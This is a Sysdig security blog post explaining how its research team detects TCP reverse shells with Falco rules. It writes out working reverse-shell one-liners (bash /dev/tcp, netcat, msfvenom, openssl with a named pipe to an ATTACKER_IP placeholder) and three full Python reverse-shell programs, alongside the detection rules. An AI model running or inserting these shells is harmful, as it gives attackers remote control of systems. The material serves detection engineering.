惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

C
Cybersecurity and Infrastructure Security Agency CISA
D
Darknet – Hacking Tools, Hacker News & Cyber Security
cs.CL updates on arXiv.org
cs.CL updates on arXiv.org
S
Schneier on Security
L
Lohrmann on Cybersecurity
S
Securelist
P
Palo Alto Networks Blog
SecWiki News
SecWiki News
T
Troy Hunt's Blog
H
Hacker News: Front Page
AWS News Blog
AWS News Blog
Latest news
Latest news
Hacker News - Newest:
Hacker News - Newest: "LLM"
NISL@THU
NISL@THU
The Hacker News
The Hacker News
F
Full Disclosure
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
大猫的无限游戏
大猫的无限游戏
O
OpenAI News
P
Proofpoint News Feed
Know Your Adversary
Know Your Adversary
G
GRAHAM CLULEY
博客园_首页
Attack and Defense Labs
Attack and Defense Labs
cs.CV updates on arXiv.org
cs.CV updates on arXiv.org
Security Latest
Security Latest
云风的 BLOG
云风的 BLOG
K
Kaspersky official blog
WordPress大学
WordPress大学
www.infosecurity-magazine.com
www.infosecurity-magazine.com
宝玉的分享
宝玉的分享
L
LINUX DO - 热门话题
博客园 - 叶小钗
L
LINUX DO - 最新话题
Martin Fowler
Martin Fowler
N
News | PayPal Newsroom
Project Zero
Project Zero
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
PCI Perspectives
PCI Perspectives
月光博客
月光博客
IT之家
IT之家
Recent Announcements
Recent Announcements
T
The Exploit Database - CXSecurity.com
D
DataBreaches.Net
J
Java Code Geeks
酷 壳 – CoolShell
酷 壳 – CoolShell
Last Week in AI
Last Week in AI
Google Online Security Blog
Google Online Security Blog
C
CXSECURITY Database RSS Feed - CXSecurity.com
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知

Sysdig Blog

Masterclass: AI is more than ChatGPT and LLMs CVE-2026-39987 update: How attackers weaponized marimo to deploy a blockchain botnet via HuggingFace Kubernetes 1.36 - New security features 5 steps to securing AI workloads Marimo OSS Python Notebook RCE: From Disclosure to Exploitation in Under 10 Hours Security briefing: March 2026 The Sysdig MCP server is now available in AWS Marketplace Risk isn’t reduced until you take action: How teams resolve issues in the cloud AI infrastructure security: Why it deserves its own category Three pillars for building effective runtime-powered cloud defense, the right way Closing the cloud security gap with runtime security Seeing risk isn’t stopping it: Why visibility alone isn’t enough TeamPCP expands: Supply chain compromise spreads from Trivy to Checkmarx GitHub Actions AI coding agents are running on your machines — Do you know what they're doing? Runtime security for AI coding agents: Protecting AI-assisted development How runtime insights power every cloud security use case CVE-2026-33017: How attackers compromised Langflow AI pipelines in 20 hours Inline Cloud Response: Accelerating AWS threat containment for SOC teams Runtime malware detection for AWS Fargate Detecting CVE-2026-3288 & CVE-2026-24512: Ingress-nginx configuration injection vulnerabilities for Kubernetes Malware detection with Sysdig Security briefing: February 2026 Leveling up Kubernetes Posture: From baselines to risk-aware admission Eliminating runtime blind spots: How CleanStart and Sysdig build continuous trust across the container lifecycle LLMjacking: From Emerging Threat to Black Market Reality Real risks live at runtime: Why CISOs must care about deep telemetry in 2026 Sysdig named a Leader in the Forrester Wave™: Cloud Native Application Protection Solutions, Q1 2026 How to run rootless containers AI-assisted cloud intrusion achieves admin access in 8 minutes Security briefing: January 2026 Securing GPU-accelerated AI workloads in Oracle Kubernetes Engine Bringing OSS runtime security to AWS: Falco integration with AWS Security Hub CSPM Our customers have spoken: Sysdig rated a Strong Performer in Gartner® Voice of the Customer for Cloud-Native Application Protection Platforms Protecting sensitive business data in preparation for the organization's Gen AI VoidLink threat analysis: Sysdig discovers C2-compiled kernel rootkits AI is still a workload: A practical guide to securing AI workloads How threat actors are using self-hosted GitHub Actions runners as backdoors How Sysdig Sage delivers AI-powered, real-world vulnerability management Security briefing: December 2025 Top 10 ways to get breached in 2026 EtherRAT dissected: How a React2Shell implant delivers 5 payloads through blockchain C2 Introducing runtime file integrity monitoring and response with Sysdig FIM How to detect multi-stage attacks with runtime behavioral analytics EtherRAT: DPRK uses novel Ethereum implant in React2Shell attacks Detecting React2Shell: The maximum-severity RCE vulnerability affecting React Server Components and Next.js The rise of AI agents: How autonomous AI Is transforming cloud security Kubernetes 1.35 - New security features The Urgency of Securing AI Workloads for CISOs Security briefing: November 2025 Quantum and the cloud: Science fiction turned security strategy Cloud security, the right way: What the industry should demand (and why "good enough" isn't) Return of the Shai-Hulud worm affects over 25,000 GitHub repositories Detecting CVE-2024-1086: The decade-old Linux kernel vulnerability that’s being actively exploited in ransomware campaigns What’s old is new again: How to demystify AI security with AIBOMs Securing Kubernetes with agentic cloud security How agentic cloud security reduces real risks Shifting left with AI and MCP: Sysdig + Amazon Q Developer How Falco and Stratoshark close the gap between open source runtime detection and deep forensic analysis Investigating security issues with ChatGPT and the GitHub MCP server New runc vulnerabilities allow container escape: CVE-2025-31133, CVE-2025-52565, CVE-2025-52881 Harden your LLM security with OWASP Security briefing: October 2025 How agentic AI is changing cloud security Kubernetes Incident Response: Detect, investigate, and contain in under 10 minutes Sysdig recognized as a Cloud Security Leader in Latio Tech Cloud Security Market Report AI echolocation of cloud risks using Sysdig & Snyk MCP servers Sysdig MCP Server: Bridging AI and cloud security insights Understanding CVE-2025-49844: “RediShell” Critical Remote Code Execution in Redis How Sysdig secures your containers and Kubernetes Sysdig Security Briefing: September 2025 Cloud security, the right way: The 3 pillars of real-time defense Open source spotlight: Bringing web application security to Falco with Falcoya's Nginx plugin Malicious NPM packages: Are you exposed? AI for SOC teams: 5 cloud security prompts to start your day with Sysdig Sage™ Shai-Hulud: The novel self-replicating worm infecting hundreds of NPM packages ZynorRAT technical analysis: Reverse engineering a novel, Turkish Go-based RAT Modern vulnerability management, built for the cloud Build your AWS incident response playbook with open source tools 2025 Gartner® CNAPP Market Guide: Runtime visibility is no longer optional Threat hunting with Sysdig: Uncovering “IngressNightmare” Open source spotlight: From alerts to action with AI-powered Falco Vanguard From triage to action: How Sysdig’s agentic cloud security platform slashes noise and accelerates remediation The vision comes to life: Agentic cloud security with Sysdig Sage™ Data security findings: A technical deep dive Connecting runtime to source: Sysdig and Semgrep integration Fix what matters, faster: How Sysdig and Semgrep are unifying security without silos – from code to runtime Defending sensitive data with Sysdig Secure Redefining cloud security, the right way Join the movement: The Sysdig Open Source Community is live A smarter, safer cloud in the age of AI Unifying detection and response: Sysdig + Cortex XSOAR for security at cloud speed The future of security is open, and it needs a unified hub: The Sysdig Open Source Community is here CVE-2025-53104: Command injection via GitHub Actions workflow in gluestack-ui Why MCP server security is critical for AI-driven enterprises What’s new in Sysdig — June 2025 AI-powered CNAPP with Sysdig Sage™ Revolutionizing Cybersecurity Search with Sysdig Sage™ Sysdig Threat Bulletin: Iranian Cyber Threats The end of the prioritization-only era: Vulnerability management needs action Dangerous by default: Insecure GitHub Actions found in MITRE, Splunk, and other open source repositories
Hunting reverse shells: How the Sysdig Threat Research Team builds smarter detection rules
Alberto Pellitteri · 2025-11-13 · via Sysdig Blog

The Sysdig Threat Research Team (TRT) continuously analyzes attacker tactics and techniques, transforming those insights into effective detection rules for Sysdig customers and open source Falco users. From initial discovery to production-ready detections, this blog walks through our process for creating new detections.

Our rules strike a balance between minimizing false positives and staying broad enough to surface suspicious activity that could indicate an attack. Using a reverse shell as a common technique employed by real attackers, we will break down the anatomy of multiple reverse shell types, review the limitations of old detection methods, and demonstrate how we develop effective rules.

What is a reverse shell?

Reverse shells are a remote access tool primarily used by attackers to gain control over a target system and execute commands. They are called "reverse" because, unlike traditional remote access methods, the compromised machine initiates the connection back to the attacker's system, rather than the other way around.

This approach is convenient for attackers when firewalls and network configurations block incoming connections. For example, internal servers are often protected by firewalls that prevent external systems from establishing a direct connection. However, these servers are usually allowed to initiate outbound connections for software updates or other legitimate purposes. A reverse shell leverages this loophole by having the compromised machine initiate a connection to the attacker’s machine, effectively bypassing such restrictions.

Familiar examples of reverse shell commands are listed below. These popular webshells are lightweight, reliable, and can be easily spawned via Bash, Netcat, or advanced tools offered by Metasploit.

# bash
bash -i >& /dev/tcp/10.0.0.1/4242 0>&1

# netcat
nc -e /bin/sh 10.0.0.1 4242

# msfvenom
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f elf >reverse.elf

At a high level, when executing a reverse shell, the attacker sets up a listener on their machine to wait for incoming connections. Once the target system connects, the attacker gains a command-line interface (CLI) on the victim machine, enabling them to execute arbitrary commands, explore the file system, or move laterally to other parts of the network.

Reverse shells fall under the MITRE ATT&CK tactic Execution (TA0002), and are one of the most concerning threats for organizations. Therefore, we conduct extensive research into their behavior to provide meaningful and actionable detections.

However, not all reverse shell executions are the same. The major distinction is the protocol used to connect the victim and attacker machines: TCP, UDP, or ICMP. In this article, we will focus only on the TCP-based connection protocol.

Additionally, there are other main low-level implementation distinctions among reverse shells, such as how they redirect standard input and output to a socket, the nature of the interprocess communications involved by the malicious execution, and the system calls invoked.

Categories of TCP reverse shells

Several factors can be taken into account when categorizing reverse shells:

  • Which process creates the remote connection.
  • Which system calls (syscalls) are involved.
  • How the file descriptors, STDIN, STDOUT, and/or STDERR, are redirected to the socket.
  • How shell processes use the file descriptor to handle the connection:
    • Either directly via its STDIN, STDOUT, or STDERR
    • Or indirectly, using another intermediate process and communicating with it with different IPC mechanisms, such as pipe or socketpair

All of these factors will allow us to outline different reverse shell techniques, which could be implemented using multiple interpreted or compiled languages. For the purpose of this article, we will show Python implementations. We chose this language for its simplicity and because it has useful wrappers for direct syscall invocation.

Before digging into the details of reverse shell techniques, let’s first introduce the reverse shell building blocks and the syscalls offered by the Linux operating system.

The anatomy of a reverse shell

The building blocks of reverse shells are the following:

  • Execution
  • Remote connection
  • Creation of child processes
  • File descriptor manipulation
  • Interprocess Communication

Execution

When a new program must be executed, execve/execveat syscalls are invoked. These syscalls load a new executable into the process memory space, replacing the calling process with the newly invoked one. We will see these syscalls once we run the command that spawns a reverse shell, and also every time a new arbitrary command is executed remotely from the attacker’s machine.

Remote connection

Connecting the victim machine back to an attacker-controlled one and establishing a communication channel to send and receive information is crucial. The latter can be implemented using different protocols or technologies. Typically, in Linux systems, remote connection is something handled by a few syscalls:

  • Socket, which creates an endpoint for communication (using the TCP protocol).
  • Connect, which can be used to initiate a connection on the socket at the file descriptor.

Creating a child process

Sometimes, processes need to fork or clone themselves for various reasons, such as handling parallel executions simultaneously, running concurrent tasks, or creating independent execution flows. In this case, two different syscall types may be invoked:

  • fork/vfork, which creates an entirely new process as a copy of its parent.
  • clone/clone3, similar to fork/vfork, but has more granular control over what is shared with the parent and can be used to create threads as well.

Interprocess communication (IPC)

When multiple processes are running after fork/clone operations and need to communicate with each other, interprocess communication channels let them exchange messages, data, and so on. It is very common for reverse shells to fork or clone themselves and then communicate using syscalls, such as:

  • pipe/pipe2, to create a unidirectional communication channel between two related processes, like parent and child, from the write to the read end.
  • socketpair, to create a bidirectional communication channel with a pair of connected sockets where both ends can read and write, and where the processes can also be unrelated. Often used by NodeJS applications and is quite common in multithreading scenarios.

File descriptor manipulation

Last but not least, a reverse shell’s other building blocks involve redirection of file descriptors into standard input (STDIN), output (STDOUT), and error (STDERR). It is common for reverse shells to duplicate existing file descriptors and redirect the connection sockets or pipe ends to STDIN/STDOUT. STDERR redirection is optional, but often helpful for a reverse shell because it provides the attacker with important information, such as error messages and prompt output for diagnostics.

To duplicate existing file descriptors and redirect them, the following syscalls can be used:

  • dup, allows the attacker to duplicate a given file descriptor, getting the lowest file descriptor available.
  • dup2/dup3, allows the specification of the new file descriptor to be used after the duplication. In most cases, the new file descriptor will be 0/1/2, respectively stdin/stdout/stderr.
  • fcntl, using the F_DUPFD as op argument, allows specifying the minimum acceptable value for the new file descriptor, duplicating the existing file descriptor.  

Summary of reverse shell syscalls and building blocks

In the following table, the previously mentioned syscalls and building blocks are summarized, with the related documentation references.

Category 1: Direct shell execution with network-redirected input/output

The first and simplest category of reverse shells we identified is illustrated in the code snippet below. This snippet creates a connected socket, duplicates the socket file descriptor to standard input, output, and error using dup2, and then relies on the default behavior where file descriptors remain open across an execve() call, unless the FD_CLOEXEC flag has been explicitly set using fcntl or other methods. As a result, when execve replaces the process’s memory with the new executable — in this case, the shell — STDIN and STDOUT remain linked to the connected TCP socket, allowing it to perform its usual read and write operations over the network.

import os
import socket
import sys
import fcntl

def main():
    # Read server IP and port from environment variables
    SERVER_IP = os.getenv("REVERSE_SHELL_SERVER", "127.0.0.1")
    SERVER_PORT = int(os.getenv("REVERSE_SHELL_PORT", "4444"))

    try:
        # Create a socket
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

        # Connect to the attacker's server
        sock.connect((SERVER_IP, SERVER_PORT))

        # Duplicate the socket to stdin, stdout, and stderr
        os.dup2(sock.fileno(), 0)  # stdin
        os.dup2(sock.fileno(), 1)  # stdout
        os.dup2(sock.fileno(), 2)  # stderr

        # Execute a shell
        os.execl("/bin/sh", "-i")

    except Exception as e:
        print(f"Error: {e}")
        sys.exit(1)

if __name__ == "__main__":
    main()

Many common payloads fall under this reverse shell category, including many of the commands listed in this reference, such as bash TCP, python, php executions, and multiple standard non-meterpreter binaries, such as linux/x86/shell/reverse_tcp and linux/x64/shell/reverse_tcp, can be created using the widely known Metasploit framework. This technique is also common in exploits to provide immediate interaction with the compromised system.

This reverse shell category is detected by the Sysdig rule Reverse Shell Detected:

- macro: spawned_process
  condition: (evt.type in (execve, execveat) and evt.dir=< and evt.arg.res=0)

- list: shell_binaries
  items: [ash, bash, csh, ksh, sh, tcsh, zsh, dash]

- macro: shell_procs
  condition: proc.name in (shell_binaries)

- rule: Reverse Shell Detected
  desc: This rule detects the spawning of a reverse shell, which is a shell process with stdin and one of stdout or stderr file handles redirected to a network connection. This is a common technique used by attackers to gain remote access to a compromised system.
  condition: spawned_process and shell_procs and (proc.stdin.type in (ipv4, ipv6) and (proc.stdout.type in (ipv4, ipv6) or proc.stderr.type in (ipv4, ipv6))) and (proc.stdin.name = val(proc.stdout.name) or proc.stderr.name = val(proc.stdin.name)) and proc.stdin.name contains "->" and pname_exists and stdin_name_exists
  output: Reverse shell detected with process %proc.name and parent %proc.pname under user %user.name (proc.name=%proc.name proc.exepath=%proc.exepath proc.pname=%proc.pname proc.pexepath=%proc.pexepath proc.stdin.name=%proc.stdin.name proc.stdout.name=%proc.stdout.name proc.stderr.name=%proc.stderr.name gparent=%proc.aname[2] gexepath=%proc.aexepath[2] ggparent=%proc.aname[3] ggexepath=%proc.aexepath[3] gggparent=%proc.aname[4] gggexepath=%proc.aexepath[4] image=%container.image.repository:%container.image.tag proc.pid=%proc.pid proc.cwd=%proc.cwd proc.ppid=%proc.ppid proc.cmdline=%proc.cmdline proc.pcmdline=%proc.pcmdline user=%user.name user.uid=%user.uid gcmdline=%proc.acmdline[2] ggcmdline=%proc.acmdline[3] user_loginuid=%user.loginuid container.id=%container.id container.name=%container.name)
  priority: CRITICAL
  tags: [falco_feed, host, container, MITRE, MITRE_TA0002_execution, MITRE_T1059_command_and_scripting_interpreter, MITRE_T1104_multi_stage_channels]

Category 2: Indirect shell execution using a secondary process and IPC

The second category of TCP reverse shells lets the main process handle the entire network connection and uses a child to execute the shell. Communication between parent and child can be achieved in many different ways, but common tooling heavily relies on unnamed pipes or socketpairs.

The code below includes a function used to forward data from one file descriptor to another, regardless of its nature (e.g., a file or a connected socket). Thanks, Linux, for letting us do it with the same API!

In the main function, after establishing the usual connection, the parent process ensures it can communicate with the child process, executing a shell, before entering an infinite loop. In this loop, the parent process monitors which file descriptor is ready for reading: either receiving data from the network to send to the child shell process through the pipe's write end or reading the command output from the child shell process to forward it to the socket.

import os
import sys
import socket
import select

def forward_data(src_fd, dst_fd):
    try:
        data = os.read(src_fd, 1024)
        if data:
            os.write(dst_fd, data)
        else:
            # No data means the other end has closed the connection
            return False
    except OSError as e:
        print(f"Error while forwarding data: {e}")
        sys.exit(1)
    return True

def main():
    # Read server IP and port from environment variables
    SERVER_IP = os.getenv("REVERSE_SHELL_SERVER", "127.0.0.1")
    SERVER_PORT = int(os.getenv("REVERSE_SHELL_PORT", "4444"))

    try:
        # Create a socket
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

        # Connect to the attacker's server
        sock.connect((SERVER_IP, SERVER_PORT))

        # Create two pipes for bidirectional communication
        parent_to_child, child_to_parent = os.pipe(), os.pipe()

        # Fork the process
        pid = os.fork()
        if pid == 0:
            # Child process
            os.close(parent_to_child[1])  # Close the write end of parent-to-child pipe
            os.close(child_to_parent[0])  # Close the read end of child-to-parent pipe

            # Redirect stdin, stdout, and stderr to the pipes
            os.dup2(parent_to_child[0], sys.stdin.fileno())
            os.dup2(child_to_parent[1], sys.stdout.fileno())
            os.dup2(child_to_parent[1], sys.stderr.fileno())

            # Close the duplicated file descriptors
            os.close(parent_to_child[0])
            os.close(child_to_parent[1])

            # Execute a shell
            os.execl("/bin/sh", "-i")
        else:
            # Parent process
            os.close(parent_to_child[0])  # Close the read end of parent-to-child pipe
            os.close(child_to_parent[1])  # Close the write end of child-to-parent pipe

            # Use select to multiplex between the socket and the pipes
            while True:
                rlist, _, _ = select.select([sock, child_to_parent[0]], [], [])
                for r in rlist:
                    if r == sock:
                        if not forward_data(sock.fileno(), parent_to_child[1]):
                            return
                    elif r == child_to_parent[0]:
                        if not forward_data(child_to_parent[0], sock.fileno()):
                            return

    except Exception as e:
        print(f"Error: {e}")
        sys.exit(1)

if __name__ == "__main__":
    main()

Bidirectional communication can also be achieved using socketpair instead of pipes. For instance, using the lines below, you can create a pair of connected UNIX sockets.

# Create socketpair for bidirectional communication
socks = socket.socketpair(socket.AF_UNIX, socket.SOCK_STREAM)

Meterpreter binaries that can be generated using msfvenom, Golang executables, and also some Java executables belong to this category, relying on the pipes for interprocess communication. The socketpair syscall for establishing the IPC channel is instead often leveraged by NodeJS applications.

In general, implementing reverse shells involves having a process for handling a connection and another for executing a shell. This is frequently done in reverse shells spawned by compiled or interpreted languages, such as Java and Ruby, which fork or clone themselves and then establish parent-child communication.

However, enforcing parent-child communication is not the only way to implement a reverse shell within this category. The same goal can be achieved using shells or script constructs involving two sibling processes (i.e., two processes sharing the same parents and communicating with each other).

A common example involves using multipurpose relay tools like socat, telnet, nc, openssl, and other types of IPC communication (e.g., named pipes). These binaries, like the example below, are often used in Living off the Land (LotL) attacks.

user@victim$ mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect <ATTACKER_IP>:<ATTACKER_PORT> > /tmp/s

In the example above, the attacker creates a named pipe using the mkfifo command. A named pipe behaves the same as a traditional unnamed pipe, but has a link to the filesystem so that any process opening the file can perform read/write operations and communicate with other processes.

The openssl command is responsible for establishing a connection back to the attacker, and any data received will be redirected to the named pipe. The named pipe is also used as input for the interactive shell, and any of its output and error will be processed by the network relaying command, closing the loop.

Sysdig is also able to detect this reverse shell category with multiple out-of-the-box rules, such as “Reverse Shell Spawned From Binary Through Pipes,” “Reverse Shell Spawned From Interpreted or Compiled Program Through Pipes,” “Staged Meterpreter Reverse Shell,” and others, depending on the involved syscalls and IPC abstractions.  

Category 3: Direct command execution with network-redirected input/output

This category of reverse shell extends the concept of the previous category. It spawns a shell from a secondary process and IPC, but tries to be more stealthy and evade detection by not executing a shell at all. How is that possible? The idea is to resemble or emulate the core functionality of the shell: executing other programs using fork + exec.

Suppose we strip down a shell to this definition and we delete all the logic for implementing input/output (I/O) redirections, pipes, variables, and other built-in functions that normal shells implement. In that case, we are left with something like the code snippet below.

import os
import socket
import sys
import select

def execute_command(command, sock):
    """
    Executes a command directly using os.execlp and sends the output back through the socket.
    """
    try:
        # Create pipes for capturing the command's stdout and stderr
        stdout_pipe, stdout_fd = os.pipe()
        stderr_pipe, stderr_fd = os.pipe()

        pid = os.fork()
        if pid == 0:
            # Child process
            os.close(stdout_pipe)  # Close read-end of stdout pipe in child
            os.close(stderr_pipe)  # Close read-end of stderr pipe in child

            # Redirect stdout and stderr to the pipes
            os.dup2(stdout_fd, 1)  # Redirect stdout to the write end of stdout pipe
            os.dup2(stderr_fd, 2)  # Redirect stderr to the write end of stderr pipe

            # Parse the command into the program and its arguments
            args = command.split()
            if not args:
                os._exit(0)  # Exit if no command is given

            # Execute the command using os.execlp
            os.execlp(args[0], *args)
        else:
            # Parent process
            os.close(stdout_fd)  # Close write-end of stdout pipe in parent
            os.close(stderr_fd)  # Close write-end of stderr pipe in parent

            # Read and forward the output
            while True:
                # Use select to wait for data from either stdout or stderr
                rlist, _, _ = select.select([stdout_pipe, stderr_pipe], [], [])
                for ready_fd in rlist:
                    try:
                        data = os.read(ready_fd, 1024)
                        if not data:
                            return  # End of data
                        sock.sendall(data)
                    except OSError:
                        return  # Pipe closed or error occurred
    except Exception as e:
        sock.sendall(f"Error executing command: {e}\n".encode())

def main():
    # Read server IP and port from environment variables
    SERVER_IP = os.getenv("REVERSE_SHELL_SERVER", "127.0.0.1")
    SERVER_PORT = int(os.getenv("REVERSE_SHELL_PORT", "4444"))

    try:
        # Create a socket and connect to the attacker
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect((SERVER_IP, SERVER_PORT))

        # Enter a loop to receive commands and execute them
        while True:
            sock.sendall(b"Shell> ")  # Prompt for the attacker
            command = sock.recv(1024).decode().strip()
            if not command:
                break
            if command.lower() in {"exit", "quit"}:
                break
            execute_command(command, sock)
    except Exception as e:
        print(f"Error: {e}")
        sys.exit(1)

if __name__ == "__main__":
    main()

As you can see, the usual connection is still there, and then we can directly execute a command right after an execve, ensuring that the latter can communicate back its output and errors (if any) via a pipe. From a detection perspective, this is sneaky since there is no unusual execution of a shell process to rely on.

One popular implementation of this reverse shell category is the shell execution shown below. It can be considered an edge case since a shell is implicitly involved, but still, we can see commands spawned one after another when reading from over the network.

exec 5<>/dev/tcp/10.0.0.1/4242
cat <&5 | while read line; do $line 2>&5 >&5; done

To surface these reverse shell techniques, Sysdig employs multiple detection rules, such as “Perl Remote Command Execution Detected” and “Reverse Shell Redirects STDIN/STDOUT To Socket With Pipes,” which are turned on by default in all Sysdig customer environments.

A story of improving detections

In addition to continuously writing detections to identify new threats, Sysdig TRT regularly revisits old detections to make improvements and reduce false positives. This section walks through our process.

How it started

We have explored what reverse shells are and how we detect them in a past article, where we covered the Direct Shell Execution method. The related Falco rule’s simplified condition was as follows:

 dup and
   evt.rawres in (0, 1, 2) and
   fd.type in ("ipv4", "ipv6") 

This rule was specifically focused on identifying processes redirecting network connections to the STDIN, STDOUT, and STDERR file descriptors. However, it contained several significant design flaws, primarily due to the constraints and understanding at the time:

  • Repeated triggering: The rule was designed to trigger multiple times. As we know from Category 1, an attacker might want to redirect at least stdin and stdout to the socket so that the shell can listen to commands and send results remotely. But this rule triggers every time a dup system call has as a result file descriptor 0, 1, or 2, and the involved file descriptor’s type is ipv4 or ipv6.
  • Overreliance on Connection Redirection: The detection couldn’t rely on a real shell process being executed, but only on the connection redirection to file descriptors 0, 1, and 2, which is taken care of before the actual shell execution. This makes the detection noisy since other benign processes might want to redirect their standard file descriptors to a remote connection.

These two design flaws were enough to let us understand we could have multiple false positives due to our overreliance on connection redirection, and, even worse, these alerts could be amplified by the repeated triggering nature of the rule.

At its core, detecting reverse shells in Direct Shell Execution is inherently difficult because the malicious behavior is subtle and can easily overlap with legitimate activity. While the early rule made a good attempt at flagging potentially suspicious redirections, it lacked context and refinement to differentiate between benign and malicious use cases. Additionally, the absence of a shell execution dependency further complicated the detection logic, as the rule couldn’t explicitly tie the redirection to a subsequent malicious shell process.

With this in mind, we set out to hone and improve our reverse shell detections.

Enter process STDIN, STDOUT, and STDERR fields

To overcome the limitations of the previous detection rule and to better address the other categories previously mentioned, we have implemented some new fields, which are now even supported in Falco:

  • proc.stdin.type and proc.stdin.name.
  • proc.stdout.type and proc.stdout.name.  
  • proc.stderr.type and proc.stderr.name.  

Such fields are useful to match the process STDIN, STDOUT, and STDERR types and names, returning the same value fd.type and fd.name would return in the context of the syscall. These syscalls allow for detections if a specific process directly sends the results to a socket bound to the attacker’s machine, to a pipe connected to another sibling/ancestor process, or, in general, to a more generic form of inter-process communication.

When implemented as part of the proc field class category instead of fd, this information becomes available as contextual information of the process itself, regardless of the syscall being taken into account by the rule (as opposed to the dup approach), and allows the use of the proc.stdin, proc.stdout, and proc.stderr details altogether to create a better detection rule.

Reverse shells being spawned as mentioned in Direct Shell Execution with Network-Redirected I/O category 1), such as the example here:

bash -i >& /dev/tcp/10.0.0.1/4242 0>&1

will reveal a bash shell process being launched with process STDIN and STDOUT types and names, as seen below:

{
  "%proc.stdin.type": "ipv4",
  "%proc.stdin.name": "127.0.0.1:35548->127.0.0.1:4242",
  "%proc.stdout.type": "ipv4",
  "%proc.stdout.name": "127.0.0.1:35548->127.0.0.1:4242"
}

This not only reduces the number of alerts triggered by the original rule mentioned above, but it also improves the relevance of the detection. It will shift the focus from the dup/dup2 syscall invocation of the process triggering the reverse shell to the execution of the effective reverse shell being spawned.

Moreover, this change doesn’t only represent a way to make a stronger detection mechanism, but it also sets the stage for the detection of other categories, such as those where two processes communicate via a pipe. In this scenario, they can be detected by matching a different process STDIN or STDOUT type, such as proc.stdin/stdout.type=pipe.

The original rule was not even sufficient to detect more complex reverse shells, such as the Indirect Shell Execution using a Secondary Process and IPC and the Direct Command Execution with Network-Redirected I/O. These categories required the adoption of a new detection approach.

Observation rules

In 2025, Sysdig unlocked the power of stateful workload detection rules, introducing the new Sysdig Runtime Behavioral Analytics workload policy.

A reference to the Sysdig observation detection capabilities can be found here, but we want to explore how we could use them to detect more complex reverse shell categories, such as the Indirect Shell Execution using a Secondary Process and IPC, and the Direct Command Execution with Network-Redirected I/O.

As previously mentioned, reverse shells involve multiple syscalls, each related to specific building blocks. Keeping track of all these techniques and syscalls employed by processes allows observation rules to draw a graph of actions that, if matched, will trigger a security alert. Observation rules allow us to detect multi-step attack patterns, such as the ones we have previously identified in the reverse shell categories.

Below is an example that shows how to detect a reverse shell launched via Indirect Shell Execution using a Secondary Process and IPC. It starts with a process executing a binary, which is then responsible for the outbound connection to the remote machine and the opening of pipes for interprocess communication. This is followed by cloning operations, other file descriptor manipulations, and eventually the execution of the shell spawned with process standard input and output of type pipe.

Chances of a false positive

All the rules mentioned, stateful and stateless, which were designed to detect all three reverse shell categories described above, however, may trigger false positives depending on how the building blocks mentioned earlier (Execution, Remote Connection, Creation of child processes, File descriptor manipulation, Interprocess Communication) are handled by legitimate processes too. For example, tools like VS Code remote terminals, Windsurf or Cursor servers can trigger some False Positive events.

Despite this, the False Positive rates for such rules are pretty low, and all of them are associated to Sysdig Runtime Threat Detection or Sysdig Runtime Behavioral Analytics policies. The Sysdig TRT monitors and inspects closely these two policies in order to proactively whitelist the associated indicators and ensure a good quality of detection.

Conclusion

By breaking down multiple reverse shell techniques, we’ve seen how Sysdig TRT identifies the key components of suspicious activity, examines where traditional detections fall short, and develops rules that are both precise and adaptable. The examples provided highlight the continuous evolution of Sysdig and Falco detections, and the careful balance TRT strikes between minimizing false positives and capturing meaningful threats. In doing so, Sysdig helps ensure customers and open source users are protected against the latest adversarial techniques in a changing cloud landscape.

Being fully comprehensive of any existing technique is hard in a short article like this one (e.g., we are aware that there might be more ways to perform interprocess communication, and we are still actively working on this), but we wanted to show the evolution of Sysdig detections together with the implementation of new detection tools and how Sysdig TRT brings value to our customers.